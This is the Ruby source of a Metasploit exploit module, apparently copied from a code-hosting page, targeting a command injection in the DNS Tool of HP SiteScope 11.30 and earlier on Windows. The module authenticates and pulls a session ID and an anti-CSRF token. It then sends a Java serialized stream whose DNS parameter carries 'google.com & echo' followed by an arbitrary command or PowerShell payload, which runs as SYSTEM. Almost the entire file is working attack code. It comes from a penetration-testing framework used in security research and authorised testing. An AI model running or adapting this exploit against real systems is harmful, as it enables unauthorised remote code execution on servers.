197 lines
6.1 KiB
Ruby
197 lines
6.1 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/powershell'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'HP SiteScope DNS Tool Command Injection',
|
|
'Description' => %q{
|
|
This module exploits a command injection vulnerability
|
|
discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26
|
|
and 11.30). The vulnerability exists in the DNS Tool allowing an
|
|
attacker to execute arbitrary commands in the context of the service. By
|
|
default, HP SiteScope installs and runs as SYSTEM in Windows and does
|
|
not require authentication. This vulnerability only exists on the
|
|
Windows version. The Linux version is unaffected.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author
|
|
'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery
|
|
'Juan Vazquez' # help with MSF module
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection'],
|
|
['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher',
|
|
{
|
|
'Arch' => [ARCH_X64, ARCH_X86]
|
|
}
|
|
],
|
|
[ 'HP SiteScope 11.30 / CMD',
|
|
{
|
|
'Arch' => [ARCH_CMD]
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Oct 9 2015'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']),
|
|
OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']),
|
|
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
initial_session = get_initial_session_id
|
|
redirect = authenticate(initial_session)
|
|
session = get_authenticated_session_id(initial_session, redirect)
|
|
csrf_token = get_csrf_token(session)
|
|
|
|
print_status("Executing payload")
|
|
random_mark = Rex::Text.rand_text_alpha(5 + rand(5))
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'),
|
|
'method' => 'POST',
|
|
'vars_get' => {
|
|
'OWASP_CSRFTOKEN' => csrf_token
|
|
},
|
|
'cookie' => session,
|
|
'ctype' => 'application/octet- serializable object',
|
|
'data' => build_stream(random_mark)
|
|
}, 5)
|
|
|
|
if res && res.code == 200 && res.body
|
|
res_io = StringIO.new(res.body.to_s)
|
|
res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io)
|
|
return if res_stream.nil?
|
|
show = false
|
|
res_stream.references.each do |ref|
|
|
if ref.class == Rex::Java::Serialization::Model::Utf && show
|
|
print_good(ref.contents)
|
|
next
|
|
elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark)
|
|
show = true
|
|
next
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def get_initial_session_id
|
|
print_status("Retrieving an initial JSESSIONID...")
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'),
|
|
'method' => 'POST'
|
|
)
|
|
|
|
if res and res.code == 200 and res.get_cookies.include?('JSESSIONID')
|
|
session_id = res.get_cookies
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed")
|
|
end
|
|
|
|
session_id
|
|
end
|
|
|
|
def authenticate(session_id)
|
|
print_status("Authenticating on HP SiteScope Configuration...")
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'),
|
|
'method' => 'POST',
|
|
'cookie' => session_id,
|
|
'vars_post' => {
|
|
'j_username' => datastore['SITE_SCOPE_USER'],
|
|
'j_password' => datastore['SITE_SCOPE_PASSWORD']
|
|
}
|
|
})
|
|
|
|
if res && res.code == 302
|
|
redirect = URI(res.headers['Location']).path
|
|
else
|
|
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
|
|
end
|
|
|
|
redirect
|
|
end
|
|
|
|
def get_authenticated_session_id(session_id, redirect)
|
|
print_status("Following redirection to finish authentication...")
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => redirect,
|
|
'method' => 'GET',
|
|
'cookie' => session_id
|
|
})
|
|
|
|
if res && res.code == 200 && res.get_cookies.include?('JSESSIONID')
|
|
auth_session = res.get_cookies
|
|
else
|
|
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
|
|
end
|
|
|
|
auth_session
|
|
end
|
|
|
|
def get_csrf_token(session)
|
|
print_status("Getting anti-CSRF token...")
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'),
|
|
'cookie' => session
|
|
)
|
|
|
|
if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/
|
|
csrf_token = $1
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token")
|
|
end
|
|
|
|
csrf_token
|
|
end
|
|
|
|
def build_stream(random_mark)
|
|
site = "google.com & echo #{random_mark} & "
|
|
if target.arch.include?('cmd')
|
|
command = payload.encoded
|
|
else
|
|
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
|
end
|
|
|
|
file = File.join( Msf::Config.data_directory, 'exploits', 'R7_2015_17', 'stream.raw')
|
|
|
|
f = File.new(file, 'rb')
|
|
stream = Rex::Java::Serialization::Model::Stream.decode(f)
|
|
f.close
|
|
|
|
dns_param = stream.references[0x44]
|
|
dns_param.contents = site + command
|
|
dns_param.length = dns_param.contents.length
|
|
|
|
stream.encode
|
|
end
|
|
end
|